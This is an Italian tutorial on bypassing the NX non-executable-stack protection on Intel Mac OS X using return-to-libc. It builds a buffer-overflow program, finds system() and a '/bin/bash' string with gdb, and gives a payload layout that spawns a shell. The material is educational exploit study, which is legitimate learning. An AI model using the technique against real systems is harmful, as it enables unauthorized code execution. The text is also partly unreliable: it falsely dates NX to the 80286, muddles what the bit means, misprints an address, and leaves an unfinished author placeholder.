

Disclaimer

To the maximum extent permitted by law, the author disclaims all warranties regarding this material, express or implied, including but not limited to warranties of merchantability and fitness for a particular purpose and non-infringement.

The author makes no warranties, implied or otherwise, as to the usefulness of this material or the correctness of the information it provides.

In no event shall the author be liable for direct, indirect, special, consequential, incidental, punitive or any other kind of damages caused by or arising out of the use or inability to use this material even if he is aware of the possibility of such damages or a known defect.

This material is provided "as is" and "as available", without any warranty, and if you use it you do it at your own risk, with no support.

The author makes no warranty the material will meet your requirements, or that its availability will be uninterrupted, or that it is timely, secure, or error free; nor does the author make any warranty as to the results that may be obtained through the material or that defects will be corrected.

No advice or information, whether oral or written, which you obtain from the author or through the material or third parties shall create any warranty not expressly made herein.

By accessing or using this material, you are agreeing to these terms.

FOR EDUCATIONAL PURPOSES ONLY

Bypassing noexec on Mac OSX x86

Introduzione

Con il cambiamento di architettura Apple si assicura oltre a prestazioni evidenti (i risultati più rosei dicono 4 volte superiori ai vecchi ppc) anche una particolarità chiamata NX.

Quest'ultima feature riguarda la possibilità di non rendere eseguibili aree di memoria che di solito vengono utilizzate da attacchi, come buffer overflow stack based e heap based.

Inoltre, passando a x86, Apple si sta trovando su una architettura molto più diffusa del PowerPC.

Questo può essere un vantaggio visto l'enormità di applicazioni sviluppate per quest'architettura, però come contro la tecnologia x86 è quella più conosciuta da hacker o presunti tali.

Vediamo ora come si comporta questa "NX protection".

NX protection

Con L'NX bit non è stato scoperto nulla di nuovo, infatti è presente sui processori dal vecchio 80286.

Il "vecchio" NX bit è ritenuto obsoleto e di fatto non utilizzato, ma AMD con l'uscita dell'Athlon 64 e Opteron ha rimplementato la feature che rispettasse le nuove esigenze dei nuovi sistemi operativi.

Il bit NX è il 63 nella paging table di un processore x86. Se il bit è impostato a zero il codice presente nella pagina verrà eseguito viceversa se è impostato a 1.

Esistono una serie di implementazioni software di questo meccanismo uno di questi è PAX, queste soluzioni hanno come pregio che funzionano su processori a 32 bit (senza NX-bit) ma si ha una perdita di prestazioni intorno al 10%-15%.

I nuovi mac montano Intel Core Duo e Solo che supportano in maniera nativa (hardware) il bit NX (rinominato XD in casa Intel).

Vecchie metodologie

Prima di affrontare la parte di exploiting dobbiamo crearci un programma bacato, un banale buffer overflow.

Bug.c

```
#include <stdio.h>

void main(int argc, char** argv)

{
char buffer[100];

strcpy(buffer,argv[1]);

printf("\nbuffer: %s\n\n",buffer);

}
```

Come vediamo dal codice, abbiamo un buffer overflow causato dal mancato controllo sul parametro in ingresso del programma.

Un normale (Aleph1 like) exploit può avere il seguente injection vector:

```
[NOP...NOP][SHELLCODE][RET]
```

Con l'NX bit l'esecuzione delle NOP e dello SHELLCODE non è possibile.

Vediamo cosa ci dice GDB:

```
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0xbfffc7c
0xbfffc7c in ?? ()
```

```
(gdb) p/x $eip
$1 = 0xbfffc7c
```

Come vediamo dall'esempio non possiamo eseguire nulla sullo stack ma sovrascriviamo il retaddress, quindi nonostante tutto abbiamo il potere di redirigere l'esecuzione.

Durante l'esecuzione di un programma vengono importate una serie di librerie per la corretta esecuzione dello stesso.

Una libreria che ci può essere utile è la libc, dove all'interno ci sono una serie di funzioni che ci possono interessare. In questo articolo useremo la system(); .

Il nostro obiettivo per exploitare senza eseguire nulla sullo stack è simulare una CALL.

Per fare ciò ci servono due cose:

- indirizzo della funzione.
- caricare i parametri (sullo stack) che necessità la funzione.

Primo passo

Il nostro problema non è tanto sovrascrivere il return address ma dove mettere il nostro injection vector per eseguirlo o meglio richiamare qualcosa che ci può essere utile tipo una system();

La funzione system(); esegue i parametri immessi in input sulla shell corrente. Nel nostro caso possiamo far eseguire "sh" quindi system("/bin/sh");.

Si ma come...

Un primo passo è conoscere dov'è posizionata la nostra system();.

Vediamo i seguenti passi:

- Eseguiamo gdb con il nostro programma come parametro

```
gdb ./bug
```

- Mettiamo una breakpoint sulla funzione main()

```
(gdb) br main
Breakpoint 1 at 0x1f5e
```

- Eseguiamo il nostro programma con delle "a" come parametro

```
(gdb) r aaaa
Starting program: /Users/emanuele/Desktop/ferri_del_mestiere/bug aaaa
Reading symbols for shared libraries . done
```

```
Breakpoint 1, 0x00001f5e in main ()
```

- A questo punto siamo nel mezzo dell'esecuzione e quindi con le libc caricate, quindi possiamo vedere a che indirizzo sta system();

```
(gdb) print system
```

```
$1 = {<text variable, no debug info>} 0x900474e0 <system>
```

Bene abbiamo l'indirizzo di system!!!

Ora possiamo sovrascrivere il retaddress con l'indirizzo della system(); appena trovato.

Il nostro injection vector sarà:

```
[PADDING..][SYSTEM ADDRESS]
```

Per padding si intende un insieme di caratteri per esempio una serie di "A" che ci diano modo di sovrascrivere il retaddress "spingendoci" in avanti.

```
*** IMMETTERE ESEMPIO STRINGHE DI AAA.. CON ALLA FINE LA SYSTEM CHE DA sh:command not found ***
```

Secondo passo

Adesso dobbiamo caricare i parametri da dare alla system.

Noi come parametro ci mettiamo una shell "/bin/sh", quest'ultima possiamo trovarla nell'envioment oppure possiamo metterla nel nostro buffer.

La soluzione adottata in questo articolo è la prima, quindi vediamo come cercare questa stringa.

Andiamo a cercarla vicino allo stack...

```
(gdb) x/100s $esp
```

```
0xbffffbfe: "TERM_PROGRAM=Apple_Terminal"
0xbffffc1a: "TERM=xterm-color"
0xbffffc2b: "SHELL=/bin/bash"
0xbffffc3b: "TERM_PROGRAM_VERSION=133"
0xbffffc54: "USER=emanuele"
0xbffffc62: "__CF_USER_TEXT_ENCODING=0x1F5:0:4"
0xbffffc84: "COLUMNS=80"
0xbffffc8f: "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/sbin:/bin:/usr/sbin:/usr/bin"
```

Eccola!! 0xbffffc2b!! non esattamente vediamo il perchè...

```
(gdb) x/s 0xbffffc2b
```

```
0xbffffc2b: "SHELL=/bin/bash"
```

Noi come parametro dobbiamo mandargli solo "/bin/bash" quindi...

```
(gdb) x/s 0xbfffc31
0xbfffc31:  "/bin/bash"
```

Ecco così va meglio :-D

Action!!

Abbiamo tutto quello che ci serve. Prepariamo il nostro injection vector, questa volta per bucare! :-D

Eccolo:

```
[PADDING][SYSTEM ADDRESS][32 bit TRASH][PARAMETER ADDRESS]
```

PADDING: come già detto prima sono una serie di caratteri per far si che venga spinto il nostro SYSTEM ADDRESS sul ret address

SYSTEM ADDRESS: indirizzo della system();

TRASH: dobbiamo simulare la CALL questi 32 bit equivalgono a un retaddress della system che stiamo chiamando.

PARAMETER ADDRESS: qui ci va l'indirizzo della stringa "/bin/bash" che abbiamo trovato sullo stack.

Proviamo il nostro exploit appena fatto:

buffer:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                          ?t??
                          ?H??
```

sh-2.05b\$

Bene il tutto funziona ;-)

Così abbiamo bypassato le protezioni di noexec del bit NX.

Eleganza...

Se vogliamo essere più eleganti possiamo sostituire i 32 bit di TRASH con i 4 byte della funzione exit(); che troviamo con la stessa metodologia applicata sulla system();

Così una volta che usciamo dalla nostra shell verrà eseguita la `exit()`; e usciremo in maniera pulita senza corrompere e/o causare nulla.